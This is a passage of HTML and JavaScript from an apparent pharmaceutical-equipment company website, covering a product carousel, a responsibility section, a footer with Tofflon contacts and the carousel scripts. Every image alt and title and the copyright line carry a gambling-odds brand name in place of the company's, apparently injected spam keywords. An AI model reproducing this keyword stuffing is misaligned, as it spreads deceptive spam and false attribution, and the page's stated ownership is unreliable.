                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                      <a href="/api/scenedetail/" class="my-slide">
                        <h3>抗体7</h3>
                        <p>
                          从种子扩增到最终生产，细胞培养在整个单抗工艺中都有非常重要的意义...
                        </p>
                        <div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arrows.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/arowws.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div>
                      </a>
                    </div>
                  </div>
                </div>
              </div>
            </div>
            <div class="swiper_btn">
              <div class="swiper-buttons swiper-button-prevs">
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/top-bai.svg"  class="img1" />
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/bottom-hong.svg"  class="img2" />
              </div>
              <div class="swiper-buttons swiper-button-nexts">
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/top-bai.svg"  class="img2" />
                <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/bottom-hong.svg"  class="img1" />
              </div>
            </div>
          </div>
        </div>
      </div>
      <div class="appfloor3">
        <div class="floors content1">
          <h5 class="wow fadeInUp">我们的责任</h5>
          <div class="app_ul wow fadeInUp">
            <div class="swiper-wrapper">
              <div class="swiper-slide" style="background-image: url(/web/image/yyimg1.png);">
                <!--<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/yyimg1.png" style="width: 100%;" />-->
                <div class="text">
                  <h3> 全流程技术保障</h3>
                  <span></span>
                  <p>我们拥有经验丰富的工程师、技术支持和售后团队，加速更高效、更实惠的药品的研发和生产流程，惠及医患</p>
                </div>
              </div>
              <div class="swiper-slide" style="background-image: url(/web/image/yyimg2.png);">
                <!--<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/yyimg2.png" style="width: 100%;" />-->
                <div class="text">
                  <h3>坚持技术创新</h3>
                  <span></span>
                  <p>汇聚全球技术，服务制药工业，我们打造了先进的制剂研究、生物工艺、复杂制剂、固体制剂等实验平台，致力打造最先进的药物制造平台</p>
                </div>
              </div>
              <div class="swiper-slide" style="background-image: url(/web/image/yyimg3.png);">
                <!--<img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/yyimg3.png" style="width: 100%;" />-->
                <div class="text">
                  <h3>可持续发展</h3>
                  <span></span>
                  <p>践行可持续发展的企业经营策略，使用部分清洁能源代替传统能源，持续开发低能耗、环保的绿色制药装备和设施，助力行业实现&ldquo;双碳&rdquo;目标</p>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </main>
    <div class="foot-two-box">
      <div class="foot-two-one content1">
          <div class="foot_top">
              <div class="QR-code">
            <a href="/" rel="nofollow" class="QR-weixin">
            <div class="QR-box">
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin" src="/web/image/tt.svg"   style="opacity: 0.4;" />
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin-hei" src="/web/image/tt.svg"  />
            </div>
          </a>
          <a href="/" rel="nofollow" class="QR-weixin">
            <div class="QR-box">
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin" src="/web/image/fb.svg"  />
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin-hei" src="/web/image/fb-hei.svg"  />
            </div>
          </a>
          <!--<a href="/" rel="nofollow" class="QR-weixin">-->
          <!--  <div class="QR-box">-->
          <!--    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin" src="/web/image/tt.svg"  />-->
          <!--    <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin-hei" src="/web/image/tt-hei.svg"  />-->
          <!--  </div>-->
          <!--</a>-->
          <a href="javascript:;" class="QR-weixin">
            <div class="QR-box">
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin" src="/web/image/in.svg"  />
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin-hei" src="/web/image/in-hei.svg" />
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixincode" src="https://webfiles.qixinsz.com/dongfulong/storage/uploads/20240606/fc5e1c13c9029bfdf4f4ef50817dc3c5.png"  />
            </div>
          </a>
          
          <a href="javascript:;" class="QR-weixin">
            <div class="QR-box">
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin" src="/web/image/weixin.png"  />
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixin-hei" src="/web/image/weixin-hei.svg"  />
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weixincode" src="https://webfiles.qixinsz.com/dongfulong/storage/uploads/20240507/4aa32e740fa5078047a6520daad0ffc7.jpg"  />
            </div>
          </a>
          
          <a href="javascript:;" class="QR-weibo">
            <div class="QR-boxs">
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weibo" src="/web/image/weibo.png"  />
              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weibo-hei" src="/web/image/weibo-hei.svg"  />

              <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" class="weibocode" src="https://webfiles.qixinsz.com/dongfulong/storage/uploads/20240507/a819fd4a3911c15c8ff16824e4d5315e.jpg"  />
            </div>
          </a>
        </div>
        <a href="/" class="logo"><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="https://webfiles.qixinsz.com/dongfulong/storage/uploads/20230311/602a375431d051946cda37751f0dbab4.png"  /></a>
          </div>
          <div class="foot-two-one-dl">
          <dl>
            <dt><a href="/api/about/">关于我们</a></dt>
            <!--<dd><a href="/api/about/">威廉希尔500欧洲指数介绍</a></dd>-->
            <!--<dd><a href="/api/overall/">全球布局</a></dd>-->
            <!--<dd><a href="/api/manage/">企业文化</a></dd>-->
            <!--<dd><a href="/api/mass/">质量理念</a></dd>-->
            <!--<dd><a href="/api/tech">技术理念</a></dd>-->
            <!--<dd><a href="/api/culture/">品牌故事</a></dd>-->
            
          </dl>
          <dl class="yi1">
            <dt><a href="/api/scene/">应用场景</a></dt>
            <!--<dd><a href="javascript:;">生物工程</a></dd>-->
            <!--<dd><a href="javascript:;">中药工程</a></dd>-->
            <!--<dd><a href="javascript:;">无菌制剂</a></dd>-->
            <!--<dd><a href="javascript:;">固体制剂</a></dd>-->
            <!--<dd><a href="javascript:;">检测与二次包装</a></dd>-->
            <!--<dd><a href="javascript:;">制药用水</a></dd>-->
          </dl>
          <dl class="yi2">
            <dt><a href="/api/product/">产品中心</a></dt>
            <!--<dd><a href="javascript:;">工艺研究</a></dd>-->
            <!--<dd><a href="javascript:;">细胞处理</a></dd>-->
            <!--<dd><a href="javascript:;">细胞培养系统</a></dd>-->
            <!--<dd><a href="javascript:;">发酵系统</a></dd>-->
            <!--<dd><a href="javascript:;">核心耗材</a></dd>-->
            <!--<dd><a href="javascript:;">配液系统</a></dd>-->
            <!--<dd><a href="javascript:;">废水灭活系统</a></dd>-->
            <!--<dd><a href="javascript:;">分离纯化</a></dd>-->
          </dl>
          <dl class="yi3">
            <dt><a href="/api/cases/">前沿案例</a></dt>
            <!--<dd><a href="javascript:;">前沿案例1</a></dd>-->
            <!--<dd><a href="javascript:;">前沿案例2</a></dd>-->
            <!--<dd><a href="javascript:;">前沿案例3</a></dd>-->
            <!--<dd><a href="javascript:;">前沿案例4</a></dd>-->
          </dl>
          <dl>
            <dt><a href="/api/invest/">投资者关系</a></dt>
            <!--<dd><a href="/api/invest/">投资简介</a></dd>-->
            <!--<dd><a href="/api/invest_w.html">集团年报</a></dd>-->
            <!--<dd><a href="/api/invest_q.html">集团公告</a></dd>-->
            <!--<dd><a href="/api/invest_e.html">交流咨询</a></dd>-->
          </dl>
          <dl>
            <dt><a href="/api/news/">新闻与媒体</a></dt>
            <!--<dd><a href="/api/news/">集团咨询</a></dd>-->
            <!--<dd><a href="/api/news_cate_id_2.html">市场活动</a></dd>-->
          </dl>
           <dl>
            <dt><a href="/api/contact_type_2.html">联系我们</a></dt>
            <!--<dd><a href="/api/contact_type_2.html">国内国际</a></dd>-->
            <!--<dd><a href="/api/message/">服务支持</a></dd>-->
          </dl>
          <dl>
            <dt><a href="/api/school/">加入我们</a></dt>
            <!--<dd><a href="/api/school/">校园招聘</a></dd>-->
            <!--<dd><a href="/api/society/">社会招聘</a></dd>-->
            <!--<dd><a href="/api/build/">人才建设</a></dd>-->
          </dl>
        </div>
        <div class="foot-two-one-content">
          <!--<a href="/"><img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="https://webfiles.qixinsz.com/dongfulong/storage/uploads/20230311/602a375431d051946cda37751f0dbab4.png"  /></a>-->
           <div style="display:flex;">
               <div class="phone-box">
                <span>全国服务热线：</span>
                <i>021-64906201(营销) | 021-64905153(廉洁)</i>
            </div>
            <div class="email-box" style="margin-left: 20px;">
                <span>联系邮箱：</span>
                <i>sales@tofflon.com | jiancha@tofflon.com(廉洁)</i>
            </div>
           </div>
        </div>
      </div>
      <div class="foot-two-two content1">
        <span>
          Copyright &copy; 威廉希尔500欧洲指数 All Rights Reserved.          <a
            href="/" rel="nofollow"
            target="_blank"
            >沪ICP备2021035355号-1</a
          >
        </span>
        <a href="javascript:;" class="up-box">
          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/up.png"  />
        </a>
      </div>
    </div>
<script src="/web/js/swiper-bundle.min.js"></script>
<script src="/web/js/swiper.animate1.0.3.min.js"></script>
<script src="/web/js/canvas.js"></script>
<script src="/web/js/scollnum.js"></script>
<!--<script src="/web/js/universal.js"></script>-->
<script>
var urls=''
if(window.location.pathname==='/'){
    urls='api/'
}else{
    urls=''
}
    // $.ajax({
    //     url:urls+'Scene/cate_list',
    //     type:'POST',
    //     success:function(res) {
    //         let obj = '<dt><a href="/api/scene/">应用场景</a></dt>'
    //         $(res.data).each(function(index,e){
    //             if(index==0){
    //                 obj+=`<dd><a href="/api/scene/">${e.title}</a></dd>`
    //             }else{
    //                 obj+=`<dd><a href="/api/scene?index=${index}">${e.title}</a></dd>`
    //             }
    //         })
    //         $('.yi1').html(obj)
    //     }
    // })
    // $.ajax({
    //     url:urls+'Product/cate_list',
    //     type:'POST',
    //     data:{pid:0},
    //     success:function(res) {
    //         let obj = '<dt><a href="/api/product/">产品中心</a></dt>'
    //         $(res.data).each(function(index,e){
    //             if(e.id==5){
    //                 obj+=`<dd><a href="/api/productlabo?id=${e.id}">${e.title}</a></dd>`
    //             }else{
    //                 obj+=`<dd><a href="/api/products?id=${e.id}">${e.title}</a></dd>`
    //             }
    //         })
    //         $('.yi2').html(obj)
    //     }
    // })
    // $.ajax({
    //     url:urls+'Cases/cases_list',
    //     type:'POST',
    //     success:function(res) {
    //         let obj = '<dt><a href="/api/cases/">前沿案例</a></dt>'
    //         $(res.data).each(function(index,e){
    //             if(index>=4){
    //                 return
    //             }
    //             obj+=`<dd><a href="/api/cases.html#q${e.id}">${e.title}</a></dd>`
    //         })
    //         $('.yi3').html(obj)
    //     }
    // })
</script>
    <script src="/web/js/jquery.min.js"></script>
    <script src="/web/js/swiper.min.js"></script>
    <!--<script src="/web/js/head.js"></script>-->
    <script src="/web/js/wow.min.js"></script>
    <script src="/web/js/application.js"></script>
    <script src="/web/js/gundong.js"></script>
    <script>
         var mySwipers1 = new Swiper(".app_ul", {
        resistanceRatio: 0,
        spaceBetween: 51,
        slidesPerView: 3,
        observer: true,
        observeParents: true,
        breakpoints:{
            1920:{
                slidesPerView:3,
                spaceBetween:50
            },
            1350:{
                slidesPerView:3,
                spaceBetween:50
            },
            900:{
                slidesPerView:1.2,
                spaceBetween:20
            },
            300:{
                slidesPerView:1.2,
                spaceBetween:20
            }
        }
      });
      var mySwipers, mySwiper, data;
      var option1 = {
        navigation: {
          nextEl: ".swiper-button-next",
          prevEl: ".swiper-button-prev",
        },
        watchOverflow: true,
        resistanceRatio: 0,
        initialSlide:new URLSearchParams(location.search).get("index") || 0,
        // slidesPerView: "auto",
        slidesPerView: 1,
        pagination: {
          el: ".swiper-pagination",
          type: "progressbar",
        },
        slideActiveClass: "swiper-active",
        observer: true,
        observeParents: true,
        on: {
          init: function () {
            mySwipers = new Swiper(".swiper-active .swipers", options);
            $(".swipe_num h3").text(`0${this.realIndex + 1}`);
            // <h4 class="wow fadeInLeft">高度定制化解决方案</h4>
            let obj = `<h1 class="wow fadeInLeft">${data[new URLSearchParams(location.search).get("index") || 0].title1}</h1><h6 class="wow fadeInLeft">${data[new URLSearchParams(location.search).get("index") || 0].title2}</h6><p class="wow fadeInLeft">${data[new URLSearchParams(location.search).get("index") || 0].content1}</p>`;
            $(".zhpin_left").html(obj);
          },
          slideChangeTransitionStart: function () {
            mySwipers && mySwipers.destroy();
            $(".swipe_num h3").text(`0${this.realIndex + 1}`);
            // <h4 class="wow fadeInLeft">高度定制化解决方案</h4>
            let obj = `<h1 class="wow fadeInLeft">${
              data[this.realIndex].title1
            }</h1><h6 class="wow fadeInLeft">${
              data[this.realIndex].title2
            }</h6><p class="wow fadeInLeft">${
              data[this.realIndex].content1
            }</p>`;
            $(".zhpin_left").html(obj);
          },
          slideChangeTransitionEnd: function () {
            mySwipers = new Swiper(".swiper-active .swipers", options);
          },
        },
      };
      var options = {
        // autoplay: true,
        watchOverflow: true,
        wrapperClass: "my-wrapper",
        slideClass: "my-slide",
        direction: "vertical",
        spaceBetween: 30,
        // slidesPerView: 3,
        slidesPerView: "auto",
        resistanceRatio: 0,
        observer: true,
        observeParents: true,
        navigation: {
          nextEl: ".swiper-button-nexts",
          prevEl: ".swiper-button-prevs",
        },
        breakpoints:{
            // 1550:{
            //     slidesPerView: 3,
            // },
            // 1350:{
            //     slidesPerView: 2,
            // },
            // 900:{
            //     slidesPerView: 1.5,
            //     spaceBetween: 15,
            // },
            // 300:{
            //     slidesPerView: 1.5,
            //     spaceBetween: 15,
            // },
        },
        pagination: {
          el: ".swiper-paginations",
        },
        on: {
          init: function () {
              if($(window).width()>1350){
                  if (this.slides.length > 3) {
              $(".zhpin .swiper_btn").show();
            } else {
              $(".zhpin .swiper_btn").hide();
            }
              }else{
                  if (this.slides.length > 2) {
              $(".zhpin .swiper_btn").show();
            } else {
              $(".zhpin .swiper_btn").hide();
            }
              }
            
          },
        },
      };
      function getcate() {
        $.ajax({
          url: "Scene/cate_list",
          type: "POST",
          data: {},
          success: function (res) {
            let a =
              res.data.length > 10 ? res.data.length : "0" + res.data.length;
            $(".swipe_num").find("h6").text(`/${a}`);
            let obj = "";
            data = res.data;
            $(res.data).each(function (index, e) {
              obj += `<div class="swiper-slide"><div class="swipers"><div class="my-wrapper">`;
              $(e.son).each(function (a, b) {
                obj += `<a href="/api/scenedetail?id=${b.id}" class="my-slide"><h3>${b.title}</h3><p>${b.content}</p><div class="progress blue icon">
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/right-hong.svg"  class="img1" />
                          <img alt="威廉希尔500欧洲指数" title="威廉希尔500欧洲指数" src="/web/image/right-hui.svg"  class="img2" />
                          <span class="progress-left">
                            <span class="progress-bar"></span> </span
                          ><span class="progress-right">
                            <span class="progress-bar"></span>
                          </span>
                        </div></a>`;
              });
              obj += `</div>
                  </div>
                </div>`;
            });
            $(".swiper .swiper-wrapper").html(obj);
            mySwiper = new Swiper(".swiper", option1);
          },
        });
      }
      getcate();
      
      function offSet(curEle) {
    var totalLeft = null;
    var totalTop = null;
    var par = curEle.offsetParent;
    //首先把自己本身的相加
    totalLeft += curEle.offsetLeft;
    totalTop += curEle.offsetTop;
    //现在开始一级一级往上查找，只要没有遇到body，我们就把父级参照物的边框和偏移相加
    while (par){
        if (navigator.userAgent.indexOf("MSIE 8.0") === -1){
            //不是IE8我们才进行累加父级参照物的边框
            totalTop += par.clientTop;
            totalLeft += par.clientLeft;
        }
        //把父级参照物的偏移相加
        totalTop += par.offsetTop;
        totalLeft += par.offsetLeft;
        par = par.offsetParent;
    }
    return {left: totalLeft,top: totalTop};
    //返回一个数组，方便我们使用哦。
}

    let sxl_t = offSet(document.querySelector(".appfloor2"));
    console.log(sxl_t.top);
    
    setTimeout(() => {
        window.scrollTo(0, sxl_t.top);
    },2000);
    </script>
